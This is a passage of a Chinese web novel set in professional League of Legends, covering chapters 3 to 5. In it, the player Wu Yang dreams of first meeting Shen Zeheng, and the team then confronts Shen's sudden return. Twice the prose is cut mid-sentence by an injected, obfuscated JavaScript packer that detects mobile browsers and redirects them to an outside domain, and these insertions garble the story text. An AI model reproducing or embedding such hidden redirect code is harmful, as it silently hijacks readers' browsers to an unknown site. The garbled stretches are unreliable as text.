《电子竞技没有前男友》 3.第一次见面 地下室的黑网吧里，吴恙点下结账下机的按钮起身，低头看见腻了不知道多少层污垢，已经看不出原色的键盘，突然觉得一阵反胃。 他摇摇晃晃地站起来，甩了甩头发，露出一双漂亮眉眼的同时，也露出一张与年龄极不相符的，疲态尽显的脸。 在椅子上窝了太久，猛地起身让太阳穴传来一阵激烈的抽疼，他想伸手揉揉，又想起自己的手刚才摸过那样的键盘，只得作罢。 可能只是这两天太累了。 他想着。 为了尽快完成手头的代练单子换钱，他已经在这家黑网吧呆了两天两夜，期间只吃了三碗泡面，实在困了就趴在桌上对付一会。 好不容易把几个急单都处理完，趁着这会父母都在看店，他想赶紧溜回家去洗个澡，再好好睡一觉。 就这样迷迷糊糊地走出位于地下室的黑网吧，两天没有见过太阳的眼睛一时还无法适应刺眼的阳光，偏偏有个不长眼的好死不死挡在了他面前。 “几个月之前，有一个相同的ID分别在艾欧尼亚，峡谷之巅和韩服同时登顶，Shadow，是你的号吧？” 开始吴恙以为只是一个路过的人，不小心挡了自己的路，直到听见这个有鼻子有眼的问题，他才不情不愿地站定，抬起头来看向来人。 他第一眼注意到的是对方高高大大的身材，比自己高了一头有余，第二眼就是对方身上耀眼的logo—— 两个背向部分重叠的“C”字形，是香奈儿的商标，他不认识，但在班上那些女孩子爱看的杂志上见过，据说好多明星都抢着穿，贵得离谱。 能穿这种衣服的人怎么会跑来一家地下室黑网吧的门口？ 大概是假货。 再加上来人那副即使背着光看不清脸也能感受到的，说不上是吊儿郎当，还是玩世不恭的德行…… 吴恙觉得对方怎么看也不像是正经家庭的好人。 “代练、陪玩，网上下单。”他双手插在卫衣空袋里，恹恹地说：“同城也不接受当面交易。” “你真名叫什么？多大了？你那几个服务器登顶的账号为什么都快半年没有登录过了？” 对方好像没有听到吴恙的话，自顾自地不停追问，吴恙只觉一阵烦躁。 “接单子还要查户口？要不要给你登记身份证号码？” 到此为止，吴恙的耐心已经耗尽了，直接侧步绕开面前的男人，头也不回地转身离开。 在此之前，他简直无法想象，一个刚刚见面的人得有多厚的脸皮，才会在这种完全算不上愉快的情况下，毫无边界感地一把拽住他的胳膊。 是他的厌恶表现得还不够明显吗？ 他直接抬手，狠狠甩开来人的手，再抬头瞪向对方时，眼睛里已经能溅得出火星子了。 虽然看身形，对方的确要比他高大魁梧许多，但在吴恙的字典里，从来都是—— 可以打输，但不能惯着。 “对不起！” 再一次出乎吴恙的意料，在明显的敌意面前，来人居然没有被激怒，反倒突然变得礼貌了起来。 他松开了抓住吴恙胳膊的手，甚至还把两只手都举了起来，以示自己没有恶意。 “我叫沈泽恒，不信的话，可以给你看我的身份证。” 说着，他真的从斜跨在胸前的腰包中掏出了身份证，吴恙余光随便瞄了一眼，名字倒是对得上，就是不知道身份证是不是假的。 更重要的是，吴恙根本就不认识一个叫“沈泽恒”的人。 他觉得莫名其妙，但也不好奇最新的骗术已经更新迭代到了什么版本，只想赶紧回家。 不能再耽误了，要是磨蹭到爸妈收摊回来，撞见他又得挨一顿打。 “我知道，沈泽恒这个名字你可能没什么映像……”来人好像并不傻，没有再像刚才那样拦住吴恙的去路，而是选择追在屁股后面解释了起来，“但‘BUG’这个ID你一定听过吧！” “我就是RT战队的中单兼队长，BUG，能和你坐下来聊聊吗？” 终于，吴恙第一次主动停下了脚步。 “噗嗤——” 他不是一个爱笑的人，但还是忍不住背对着来人，笑出了声，然后冷冷地回过头去，看向身后的“骗子”。 “我是你爹。” 这次，他在前，沈泽恒在后，光线的角度对了，他的眼睛也总算适应了阳光的亮度。 他终于看清了沈泽恒的脸。 自己最喜欢的电竞选手，他肯定是能认出来的。 * “操！” 吴恙操着跟当时看清沈泽恒的脸后一模一样的标准国骂，一个翻身从床上坐了起来。 干净的白墙，柔软的大床，还有拉得严严实实的遮光窗帘，和手边抱着睡觉的星黛露玩偶—— 这还是前两个月周梓涵跟队里其他人去迪斯尼玩的时候买回来送他的礼物，据说很不好抢。 是RT位于上海杨浦区的基地别墅没错了。 吴恙长舒了一口气。 还好只是梦，虚惊一场。 只不过吴恙睡觉向来很沉，一年到头也难得做一次梦，怎么就好死不死梦到和沈泽恒第一次见面的尴尬场景了？ 他想了想，最后把责任推给了昨天返程途中的晕车。 向来只要摸到鼠标和键盘，他就能保持绝对的专注，所以在昨天的比赛中，他压根没有往解说台上看过一眼，甚至连想都不会多想。 他完全不知道昨天解说台上的沈泽恒是什么打扮，直到走进那条幽暗的走廊。 在那条安静得几乎落针可闻的走廊里，在一段极其漫长，其实又相当短暂的僵持后，他隐约听到身后男人转身时衣料摩擦发出的窸窣声，甚至还有深呼吸的声音。 但赶在对方转身开口之前，他还是先一步快速跑出了走廊。 其实昨天他不曾确认身后的人到底是不是沈泽恒。 不是无法确认，而是不想确认。 之后上了车，队里稍微知道一点内幕的，以为他是被沈泽恒影响了心情，但大部分不清楚状况的，还当他是破了连胜，心情不好，反正所有人都知道他的脾气，也没有人多话，就连钱铎都在几番欲言又止后作罢。 最后他只是简单安慰了周梓涵几句，就跟往常一样，挂上U形枕，戴上耳机和眼罩，直接扭头就睡。 但也不知道怎么了，这一次，车都还没开出苏州，他就已经晕车晕得昏天暗地。 其实他的确从小就有晕车的毛病，刚加入战队那会还需要常备晕车药；但在世界各地打比赛这几年，什么也都锻炼出来了，真要回忆自己上一次晕车是什么时候，他都不记得了。 但昨天真就像是遇到鬼了，他一路上吐了好几次，差点没把坐在他身边，没有经历过他之前晕车那几年的周梓涵吓哭；等到基地下车时，他都有点眼冒金星的感觉了，什么也都顾不上，直接上楼冲进自己的房间，倒头就睡。 屋里拉着遮光窗帘，他也不知道这一觉睡到了几点。 起床，洗漱，简单收拾后，他来到落地窗前，拉开窗帘。 这本是一套很自然的动作，但拉开窗帘后他没有松手，而是一点点地手边加力。 “哗啦——” 双层的遮光窗帘很重，落地发出一阵巨响。 吴恙居然直接把窗帘拽了下来。 他以前就是个趴在地下室黑网吧的桌子上都能对付睡两天的小混混，就是因为在这间屋里，和沈泽恒住了一年，才会被惯出一身的坏毛病。 是沈泽恒睡眠浅，有一点点光都无法入眠，房间才会一直挂着遮光窗帘。 沈泽恒走后，吴恙虽然整个把房间里里外外重新装修了一遍，家具也全部换新，但住了几天才发现，拆掉了之前的遮光窗帘，他好像也睡不着了，只好又把遮光窗帘装了回来，直到现在。 眼下看着外面艳阳高照的天，都已经下午两点了，吴恙越想越生气很生气。 加入RT三年多，就算是休赛期，他每天的训练时间也不会低于十个小时，大年三十他的号还在打排位可是冲上过热搜的新闻—— 他不能接受一个这样懒惰的自己，昨晚早早歇下，竟一觉睡到了第二天午后。 如果不是这个遮光窗帘，他应该早就醒了。 从出生起，他就只是个普通人，不该有哪些娇气的毛病。 他把扯掉的窗帘随手扔在地上，转身下楼准备开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15026884|162209||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 始今天的排位，路上还给自己点了份外卖。 刚从楼上下来，就听到别墅二楼的小会议室里好像有声音。 可这间会议室太小，如果教练、战术分析师、数据分析师和队员等全都到齐，是坐不下的，所以现在已经很少用了。 吴恙有些疑惑，走到会议室门口还没来得及敲门，就从半虚掩的门缝里听到了队长赵明宵的声音。 “也是，最后那个眼你不该去插的，就算看到对面打龙也没用啊，吴恙三件套没出，我们接不了团的，结果你被逮住，白死一个。” “吴恙三件套出好了，你又在泉水里，我们身上都没眼没视野，又少一个人，完全接不了团，只能看着对面拿龙走人。” 是在做昨天的赛后复盘？ 可不管是复盘昨天比赛，还是要制定几天后比赛的策略，至少也应该让周梓涵来喊自己一声吧？ 吴恙在站在门外，越听越听不明白。 “对不起，队长……我……”这次是周梓涵的声音，还是习惯性地先道歉，他好像想解释什么，但最后还是打住了，只说：“都两点过了，平时就算通宵排位，恙哥这个点也该起了……” “他不会真的生气了吧？” “他生什么气啊，又不是没输过。”赵明宵的声音明显轻松很多，看着周梓涵，话里有话，“放心吧，吴恙他就算是生气，也不是生你的气。” “可是……恙哥昨天……他昨天的状态真的很不好……我还没见他那么难受过……” “你才认识他多久啊？这算什么……” 周梓涵的声音听上去是真的担心，赵明宵也只好继续安慰道：“再说了，吴恙是你的学长也是前辈，你还是新人，始终是他带的，那个下路组合的阵容可是他定的……” 说到这里，赵明宵的声音明显顿了顿。 这套阵容是当年吴恙第一次跟沈泽恒打公开表演赛的时候用过的，不止钱铎知道，作为建队元老，赵明宵也知道。 “那个阵容现在没人用了是有原因的，不行就是不行，吴恙虽然脾气爆了一点，但也不是不讲道理，他自己跟人赌气呢，怪不到你头上来。” “别多想了，咱们几个加一起，都没那么重要。” “不是！” 比起刚才那副一如往常，唯唯诺诺的样子，周梓涵这次否定的声音很坚决，嗓门都跟着调高了，不止吓得赵明宵瞪大了眼睛，就连门外的的吴恙都跟着一惊。 “恙哥不会拿比赛赌气。”周梓涵的语气无比笃定，“其实、其实那套阵容，我们私底下练过很多次了。” “恙哥分析过官方公布的版本更新公告，他、他觉得……在之后的世界赛版本，这套阵容是有强度的……所以、所以才会提前练习……” 虽然说话还是磕磕巴巴，但他涨红着脸，握紧拳头也还是坚持说了下去。 “之前他就跟我说过，想找个机会，等比赛压力不大的时候，想拿出来试试，毕竟是好几年没有上过比赛的组合，他想在赛场高压下试试我俩对英雄的熟练度。” 居然是在帮自己解释？ 门外，吴恙低低地垂眸，就算看不见，就算之后越说越流畅，他还是能很明显地听出周梓涵紧张得声音都在发抖，却还是坚持把想说的完整表达了出来。 他正准备推门，进屋解围，耳边突然传来一个男声。 “哟——” 对方离他很近，近得好像怕被屋里的人听到，所以趴在他耳边说悄悄话。 他甚至都能感受到男人说话时喷在他耳廓的热气。 也许是刚才的注意力全都集中在屋里，他完全不知道自己身后什么时候站了个人。 “恙哥也在啊？怎么不进屋呢？” “哦——” “你偷听！” 男人的声音还是很近，很近很近，带着吴恙曾经无比熟悉，现在又无比厌恶的，那种特殊的戏谑感。 沈泽恒的声音就是这样，不用看见他的脸，就能从声音里感觉到他的笑意，但又不太正经，带着点痞气，让人永远都分不清，此刻他是认真的，还是玩笑一句。 “不愧是你亲手捡回来的小朋友呀……” “很维护你嘛，学长。” 4.别来无恙 “你乖，时间还早呢，再睡一会。我哥到上海来了，我得去见他一面，如果来不及，等会就不回基地了，我们直接下午发布会现场见。” 这是三年前，沈泽恒离开前跟吴恙说的最后一句话。 在吴恙十八岁成年后的第一个的早上。 当时他睡得迷迷糊糊的，是沈泽恒起床的动静吵醒了他，半梦半醒间，他随手一捞，正好勾住沈泽恒的衣角，无意识地撒了个娇，做了件平时清醒时绝对做不出来的事情—— 抱着沈泽恒的小臂，不想让他走。 所以沈泽恒才会说了那样一句话，哄着床上睡梦中的爱人。 毕竟是第一次，昨天晚上的“运动量”有点超标了，吴恙翻身时还觉得腰痛，实在不想动，也睁不开眼，很快就又睡了过去。 他只隐约记得，半梦半醒间，沈泽恒轻轻撩开他的刘海，吻了吻他的额头，然后就出门去了。 其实现在的状况和三年前差不多，他都是只听见了沈泽恒的声音，并没有看见人。 至于沈泽恒口中的那场新闻发布会，是原定于当天下午召开的，正式官宣吴恙加入Rose Tiger，成为首发ADC的签约仪式。 不过沈泽恒食言了，下午的发布会，他没有出现。 他再也没有出现过，直到今天。 三年后，当吴恙在除了在手机、电脑之类的媒介外，再次听到沈泽恒的标志性的声音和语气时…… 这是一种很难描述的感觉。 所有的声音，无论是会议室内的对话，还是周遭的环境音，都以一种近似光速的速度远离了吴恙，留下他一个人，好像独处在一个绝对安静的异次元空间。 他能听到自己的心跳声，频率快得不可思议，但他似乎并没有可以与之匹配的情绪。 歌里唱的那种，重逢时要“红着脸”或是“红着眼”的情绪，他几乎都没有，没有想象中的愤怒，没有想象中的委屈，更谈不上任何喜悦。 因为已经提前知道了沈泽恒回国的消息，就连最基本的惊喜或惊吓都没有了。 吴恙整个人都处在一种完全放空的状态中，大脑中甚至没有播放任何有关于他和沈泽恒曾经点滴回忆的画面，只剩下一片空白。 但他似乎也不如看上去那样平静，因为他好像无法控制自己的身体，做出任何动作—— 开门走进会议室，或是转身离开这里。 他甚至没办法控制自己回头看沈泽恒一眼，或者哪怕只是挪动半步，拉开两人之间的距离。 好像有一个巨大的蚕正在吐丝，一点点裹住他，隔绝了声音和周遭的一切，把他封闭在一个与世隔绝的空间里，完全动弹不得。 他也不知道这样的情况持续了多久，也许是很久，也许只有一瞬间，直到另一个声音的出现—— “你有病啊！？” 是钱铎，他没好气地瞪了沈泽恒一眼。 作为战队经理，他的人设一直很稳—— 打断情绪的神。 沈泽恒一直很纳闷，这种人是怎么能找到老婆的？ 不过虽然有点“不解风情”，但钱铎在圈子里是出了名的老好人，从来不会用这么嫌弃，甚至带着点不耐烦的语气跟谁说话。 “堵在门口干嘛？起开！” 他一把推开的沈泽恒，直接开门进了会议室。 “咳咳——”他假模假式地清了清嗓，眼神扫过小会议室里现任RT战队的四个首发选手，确定大家都在，并且都被声音吸引看向了他，“正好人……” 说着，他眼神无意识地瞟向门口的吴恙，“都到齐了。” “我宣布一个事啊。” 说罢，他的眼神移到了吴恙身后的沈泽恒身上，跟刚才心虚的偷瞄不同，看向沈泽恒时，他明显地翻了个白眼。 “从今天起，沈泽恒，正式加入RT战队。” 这样的消息，引起轩然大波是必然的，所以钱铎刻意只喊了几个队里的首发主力到这个小会议室来，赶在惊讶声和质疑声发出之前，调高嗓门，加快语速，以一种类似“抢跑”的姿态，一口气把话都倒了出来。 跟上次在比赛后台的休息室，他用尽全身力气也无法让场面安静超过一分钟不一样，今天沈泽恒这个人出现在门口，就已经足够硬控住局面了。 但在在一片漫长的沉默中，钱铎只想转身逃跑。 最好能跑到火星去…… 操！ 钱铎忍不住在心里暗骂了一声，回头恶狠狠地瞪了门边的沈泽恒一眼，然后就好像回应他似的—— “哐当——” 有人猛地掀翻了椅子，一声巨响后，所有人屏息凝神。 在知道沈泽恒要回来之后，钱铎想过无数种可能性，他想过以吴恙的脾气可能会当场炸毛，会断然拒绝，会放一些类似“有他没我”的狠话。 不管吴恙是不是说过，他根本打不过沈泽恒，起码钱铎知道，真要动起手来，沈泽恒是不可能还手的。 所以钱铎甚至想过，吴恙可能会跟三年前一样，直接也打断沈泽恒的鼻梁骨…… 打断两根肋骨也不是不可能。 还有赵明宵。 沈泽恒这次回来，吴恙可能生气，但再怎么样都只是情绪，出于现实考量，最难以接受的，应该是赵明宵。 作为上一代RT战队的中单，沈泽恒曾两度率队取得S系列全球总决赛的冠军，并斩获FMVP，他的成绩和地位，放眼整个LPL，现役和退役的，所有位置的选手都加在一起，也没有一个人可以相比。 而现在RT的中单，是赵明宵。 沈泽恒回来了，对他来说是最直接的威胁。 但事实上，赵明宵一言不发，吴恙更是低着头，没有一丁点反应。 刚刚掀翻凳子的，是石磊。 石磊，Rose Tiger首发主力上单，现用比赛id：lei，跟他本人一样朴实无华，但又是绝对的重量级—— 物理意义上的。 不管是曾经沈泽恒在时，杀穿一切中单的节奏发动机打法，还是现在以保下路发育为主，等待ADC接管比赛的四保一战术，在RT这支战队中，上单的战术地位总是不太高，需要要一个可以抗压，不会崩盘，绝对稳定的“蓝领”型选手。 而作为两代RT战队唯一不变的上单位，放眼全世界英雄联盟圈子，身高190，体重200斤的石磊都绝对是那个最能“镇得住场子”的人。 他皮肤黝黑，细眼粗眉，平时比吴恙还要沉默寡言，乍一看是个很不好惹的人。 但不同于吴恙拒人千里的高冷和名声在外的暴脾气，或是周梓熙那种畏畏缩缩，胆小得不敢开口，石磊话少，只是单纯的内向。 作为队里目前主力选手中最年长的一个，二十六岁的他在电竞选手中已经算是“高龄”了，只要和他接触过的人都知道，他本人其实沉稳可靠，老实憨厚，也很好说话。 因为知道自己的外形看上去有点“吓人”，他平常会格外注意一些，从未与人起过冲突，看着人如其名，黑黢黢，硬邦邦的，其实他算得上“铁汉柔情”那一挂。 别说RT其他入队晚的人，算上建队元老级的赵明宵和钱铎在内，也没谁见过他做出这么过激的反应。 刚才是他突然起身的动作太猛，带倒了身下的椅子，但站起来后他也并没有说话，只是一瞬不瞬地盯着沈泽恒，眼睛都红了。 得益于比在场最身高腿长的沈泽恒都还要高出两公分的身高和体型的优势，他站在那里，像一座山，充满了山雨欲来的压迫感。 本就鸦雀无声的休息室变得更安静了。 “这、这是干嘛啊……” 整个RT战队，吴恙脾气不好，周梓熙胆子小，石磊太内向，唯一性格正常些的打野入队时间又比较晚，跟大家的关系相对没那么熟络，不太说不上话，跟以往无数次一样，队内的氛围稍有不对，总是赵明宵这个队长出来做调节气氛的和事佬。 这也是当初沈泽恒离队前，把队长袖标交给他时，千叮万嘱过的。 只可惜，今天他试图缓和气氛的话没有像以往那样奏效。 “沈泽恒。”像是没有听见赵明宵的话，石磊还是死死地盯着沈泽恒，“你就没什么话要跟大家说吗？” 他的情绪不太外露，让人很难准确地判断出此刻他是激动还是愤怒，但在场的所有人都能清楚地听见他尾音里的颤抖—— 包括沈泽恒本人。 “我吗？”沈泽恒脸上还是挂着他标志性的笑容，说不出是玩世不恭还是吊儿郎当，反正丝毫没有被身边的低气压或是石磊的气势影响，他轻松地挑了挑眉道：“好久不见啊，磊子。” “好久不见了，大家——” 说罢，他眉眼微微一垂，不动声色地将眼神落在身前的吴恙身上，尽管吴恙依旧背对着他。 他微不可查地压低了声线：“别来无恙。” “呵、呵呵——”几秒钟的沉默后，还是赵明宵先开口，用他略显尴尬的笑声，企图化解眼前更加尴尬的场面，“欢、欢迎回来啊……” “沈队。” 在听到这个久违了的称呼的某一个瞬间，沈泽恒似乎出现了幻觉，三年的时光好像就这样被抹平了，从来都不曾存在过。 他还是RT的队长，是大家口中的天才少年，是比赛场上不可一世的中单杀神；石磊、赵明宵，还有钱铎，他们还是会和他一起点外卖，一起勾肩搭背去唱歌、喝酒的好兄弟。 而吴恙，也还是那个留着厚重刘海，身形清瘦，看似脾气火爆，其实腼腆内向，甚至有点自卑的少年，会仰起脸来冲他笑，眼神里满满都是崇拜的光。 想到这里，他双眼微眯，眼角不自觉地轻轻抽搐了一下，细微到几乎没有人发现。 但当他再次开口，就又换回了之前那个大家熟悉的，嬉皮笑脸的沈泽恒。 “沈队？在哪儿呢？”他夸张地扭了扭头，故意摆出一副做作的找人的样子，笑着越过身前的吴恙，走到赵明宵身边，“赵队又开我玩笑。” “放心，我不是回来打比赛的。”他拍拍赵明宵的肩膀，压低声音凑上前去，语气总算正经了那么一点点，“好好打，以后还得靠赵队呢。” “那你回来干嘛？” 石磊的声音再次出现，冷冷地将会议室里好不容易将要回升的气氛拦腰斩断。 “是赞助商的要求。”这次，钱铎终于接过了话头，“你当他是领队也好，教练也罢，或者就是随便一个什么分析师……” “点外卖的也可以，哈哈哈——” 沈泽恒插科打诨地加了一句，吃了钱铎恶狠狠的一记白眼后闭了嘴。 “总之，今年的S赛，我们战队会有‘魔声音节’冠名，这是他们的要求。” 魔声音节，国内的互联网巨头，绝对有赞助或是冠名一家战队的实力，想要赚一波S赛的流量也很合理，但会找到Rose Tiger就有点奇怪了。 除了在沈泽恒离队，吴恙禁赛的第一年成绩堪忧外，近两年RT的表现一直亮眼，去年S赛世界四强，今年更是包揽了LPL赛区内和MIS的全部冠军。 但他们的赞助与成绩一直不成正比，原因就是RT在对赞助商的选择上相当谨慎，甚至堪称严格。 至今为止RT战队已经是LPL唯一一支私人拥有的战队，并不属于任何大型的资本或公司操控，队里比较清楚的，就是钱铎拥有一部分股权，并且掌握绝对的话语权。 从沈泽恒还在时就定下了规矩，为了保证战队的成绩，RT从不允许任何赞助商插手战队的日常工作安排，包括配合广告拍摄或是站台宣传这些必备的流程，都需要钱铎这边点头才行。 赞助商往战队里塞人这种事，在别的战队或许稀松平常，但哪怕这个人只是替赞助商看着战队一眼，在RT都还从未出现过，也不知道在这一方面向来态度强硬的钱铎为什么会突然妥协。 就因为这个人是沈泽恒吗？ 可沈泽恒和魔声音节有什么关系呢？ 魔声音节的老板也不姓沈啊…… 赵明宵悄悄在心里嘀咕着，试探性地问道：“那我们战队……S赛的时候……需要改名字吗？” “队名不改，冠名只加个前缀。” “没了吗？”石磊接着问道。 他是接着钱铎说的，但问话的对象显然不是钱铎，因为他的眼睛从始至终一直盯着沈泽恒，似乎在等待一个答案，但很显然，到目前为止，所有的回答都无法令他满意。 “战队管理的事不用你们操心，两天以后就是季后赛了，你们打好比赛就——” “哐！！！” 钱铎的话还没说完，又是一声巨响。 石磊突然暴起，一个箭步上前，带倒了身旁另一张椅子，堪称“庞大”的身躯卷起一阵风，像是能把角落里矮小瘦弱的周梓熙刮倒。 然后，他一把揪住了沈泽恒的衣领。 “磊子——” 赵明宵惊叫出声，一旁和沈泽恒站得最近的钱铎也第一时间反过来，连忙上前阻拦，赵明宵见状跟上，拽住了石磊的胳膊。 “三年了！沈泽恒！”石磊愤怒地大声吼道：“你要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15030336|162209||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 走，就一声不响地走，现在回来也不用跟任何人打过招呼……” “RT难道不是你一手带出来的战队吗？我们难道都不是人吗！” 他眼底猩红，手臂和脖颈两侧的青筋也条条暴起，说话时声音不住地颤抖。 “你难道……就不需要跟任何一个人……”他说着，眼神瞥向吴恙的方向，又很快回到沈泽恒脸上，“有哪怕半句话的交代吗？” “磊子！” 赵明宵虽然还拽着石磊的胳膊，但钱铎很清楚，就石磊那个体型，真动起手来，多两个赵明宵也拉不住，可他刚要开口，却被身边沈泽恒一个眼神挡了回去。 屋里每一个人的神经都紧绷到了极点，偏偏站在风暴最中心的沈泽恒好像仍就不为所动。 他什么都没有说，只是冲钱铎轻轻摇了摇头。 几秒的犹豫后，钱铎妥协，拉着另一边的赵明宵退开了两步，把场面重新交还给了沈泽恒。 他以为沈泽恒已经想好了要怎么应对这样的局面，却不想沈泽恒只是低头看了眼石磊死死攥住自己衣领的手，然后又抬头看了眼门外的吴恙。 “不好意思啊。” 良久后沈泽恒才开口，语气还是那么轻松，好像稀松平常。 然后他歪着头，看向石磊，居然笑了。 这种堪称无赖的反应就连钱铎这个“局外人”都接受不了，简直无异于在说—— 想怎么样，随便你吧。 所有人的心都揪了起来，仿佛石磊那只青筋暴起的大手抓着的不是沈泽恒的衣领，而是每个人的心脏。 这只手因为太过用力，不住地抖。 “哐——” 良久后，又是一声巨响，为这出闹剧收了场。 石磊紧咬牙关，最终还是没有下得去手，只能一脚踹开身边的椅子泄愤，转身走出了训练室。 钱铎觉得这一脚简直踹在了自己的脑门上—— 头都要裂开了。 他不会编瞎话，也没有可以震慑全队的气场，沈泽恒的事发生得太突然了，得到消息后他想了一晚上，也只想出这一套说辞，虽然隐瞒了部分信息，但说出来的基本都是实话，原本是打算拿来堵住吴恙的嘴，没想到最后连石磊都说服不了。 不对…… 吴恙！ 钱铎猛地反应过来。 今天他最担心的本来是吴恙啊！ 现在就连石磊的反应都这么大，那吴恙…… 钱铎缓缓扭过头，看向门口的吴恙，心虚得整个过程好像电影镜头下的慢动作。 而此刻的吴恙还低头看着自己的右手。 刚才沈泽恒绕过他时，衣角不小心划过了他右手的手背。 然后他就一直盯着自己的右手，直到石磊愤愤地从自己身边离开。 至钱铎开始，在所有目光开始慢慢聚集到他身上，然后所有人就这么看着他不紧不慢地推门进屋，径直走向周梓熙的方向。 “吃过午饭了吗？” 虽然还是带着周身的寒气，像是开了冷风的空调，但他语气里的关心倒也算明显。 “……吃、吃过了。”周梓熙哪里见过刚才的阵仗，吓得全程缩在角落里不敢抬头，直到听见吴恙的声音，他才好像抓住救命稻草一般，连忙说道：“中、中午阿姨包的馄饨，我吃了很多……哦！对了！” 说着，他好像突然想起什么，一把抓起桌上的保温杯，塞到吴恙手里时自己的胳膊都还在打颤。 “学长，阿姨今天煮了酸梅汤，我特意给你留的，一直装在保温杯里，这会应该还是冰的，你赶紧尝尝？” 一般战队的基地都会请一两个煮饭的阿姨，吴恙经常通宵单排，不一定赶得上午饭，好在他对吃的也没什么讲究，倒是阿姨煮的酸梅汤，酸甜适口，不像外面买来的甜得发齁，他一直很喜欢。 “谢谢。”他接过保温杯，真的打开盖子喝了一口，然后转身问道：“你们刚才在做赛后复盘？” 他说这句话时没有再看着周梓熙，显然是在问屋里所有人，不过最后也只有周梓熙一个人反应过来答话。 “也、也不算……”周梓熙小声地结巴道：“我们只是在……闲聊……” “比赛输了，该好好复盘。”吴恙接着道：“昨天的视频都看了？” 他提问时还是没有指明一个特定的对象，但这次眼神很明显地落在了赵明宵身上。 “昨天第一场比赛，不能、全怪辅助。” 吴恙这样的暴脾气，容易炸毛的小辣椒，说话大多是直来直去的，他很少会有这样在说话间突然停顿，好像欲言又止的样子。 比赛输了的确需要复盘，但其实他很不喜欢这样的场合。 他很清楚自己没有钱铎的圆滑世故，也不如赵明宵情商高，说话总是那么有技巧，他是脾气不好，但不代表他天生喜欢践踏别人的情绪。 每次的赛后复盘，除了说自己的问题，他都会尽量少说话，很怕自己说话不中听，词不达意，让听者有心，把正经赛后复盘搞成一场分锅大会，让队员间心生芥蒂。 但今天有些话，他又不得不说。 周梓熙本来就是个极其敏感，容易内耗的人，他打职业的时间短，还处在非常在乎外界看法的阶段，刚才赵明宵的话或许说者无意，但对周梓熙来说分量已经算得上责怪了。 如果真的做错了，倒也不是不能指出来，但吴恙不能让周梓熙背负一些不属于自己的东西，在无限内耗中自我怀疑，进而在以后的比赛里束手束脚。 “昨天，第一波，卡牌gank的时候……” 吴恙欲言又止的声音在安静的会议室里显得格外突兀，他平时真的不会这么说话。 但也许所有人的注意力都在沈泽恒那件事上，还没回过味来，也就没有人接过话头。 保不齐大家还会把吴恙现在反常的表现算在沈泽恒头上。 从他进门开始，径直走向周梓熙，聊着平常的话题，问出正常的问题，这一切都太反常了。 他仿佛跟所有人都不在一个次元里。 刚才石磊“庞大”的身躯闹得“地动山摇”，现在身高一米八八的沈泽恒就站在那里，那么大一个人，吴恙好像通通都看不到，听不到，感知不到。 他所在的那个次元里，刚才的争吵好像没有发生过，而沈泽恒也是不存在的。 但现在他越是表现得正常，就越是在所有人眼中反常得可怕。 如果说刚才石磊的爆发让人嗅到的是一股“山雨欲来”的压迫感，那现在吴恙的平静就带着一种“暴风雨前的宁静”的窒息感。 5.左手 会议室空调的冷风还呼呼地吹着。 也许是温度开得太低，也许是这里空间太小，再加上吴恙周身天然散发出的，终年散不去的寒气…… 钱铎忍不住打了个寒噤。 “怎么？” 在这无比诡异的氛围里，最先打破僵局的，居然是在吴恙眼中根本不存在于这个次元里的沈泽恒。 他的语气还是一如既往的轻松。 “是我走太久了吗？RT谁立的新规矩，有话都不能直说了？”说着他挑衅地瞟了眼钱铎，“你啊？” 钱铎没有说话，只用嘴型回了他一个字：“滚。” “昨天卡牌6级第一波大招飞下，你说你来支援的。”沈泽恒偏头看向赵明宵：“为什么没到？” 沈泽恒脸上还是挂着标志性的笑，但就跟三年前一样，只要提到游戏或是战队相关的东西，无论他说得多轻松，就像是闲聊的玩笑，却每一个字都会莫名其妙的极有分量。 “周梓涵说的不用了啊……”今天问话的人但凡不是沈泽恒，就算换教练来，赵明宵都不会这么心虚，他大概也没猜到话题会突然转到自己身上，结巴了半天才接着说：“我已经往中路走了，等看见卡牌的技能，再想支援下路，就已经来不及了……” 昨天的语音沟通中，周梓涵的确说过不用支援，但赵明宵没有给出明确的回应，间接造成下路双人组的误判，送出了一血和吴恙的召唤师技能。 不过当时的确事发突然，队内的沟通被对面卡牌的突然开大打断了，要说也算得上是一场扯不清的“罗生门”。 “如果你决定不支援下路，在返回中路之前就要先说，如果当时真的来不及沟通——”沈泽恒看向赵明宵，挑了挑眉毛，“赵明宵，你才是RT的队长和场上的主指挥，不是辅助。” “沟通意见无论因为什么原因没有达成统一，赛场上都是以你为准，也不是辅助。” 他一针见血地点破了昨天队内沟通中的问题，表情语气都没有太严肃，但赵明宵已经低下了头。 也许是意识到了气氛微妙的变化，再开口时，他已经悄悄改变了称呼，“赵赵，比赛内沟通，言简意赅是最重要的，可以说错，但不能模棱两可。” “嗯。” 感受到沈泽恒语气的缓和，赵明宵忙不迭地点头，以为自己的问题可以就此翻篇了，但沈泽恒却接着说道：“还有之后龙坑那波。” “辅助被抓，打野支援，SG的上单立刻传送到了战场，那时候磊子的传送还没有转好，但你的好了，为什么没传？” “传送落地需要时间，风女身板太脆了，等我到他肯定死了，到时候SG和我们的人一起靠近战场，我们始终还是少一个人，团队经济又落后，打不了啊，沈队……” 直到说完赵明宵才发现，“沈队”这个称呼他完全是脱口而出的。 沈泽恒跟之前他记忆中那个队长完全没有两样，平时再怎么嘻嘻哈哈，只要说到游戏，就是有种不怒自威的压迫感。 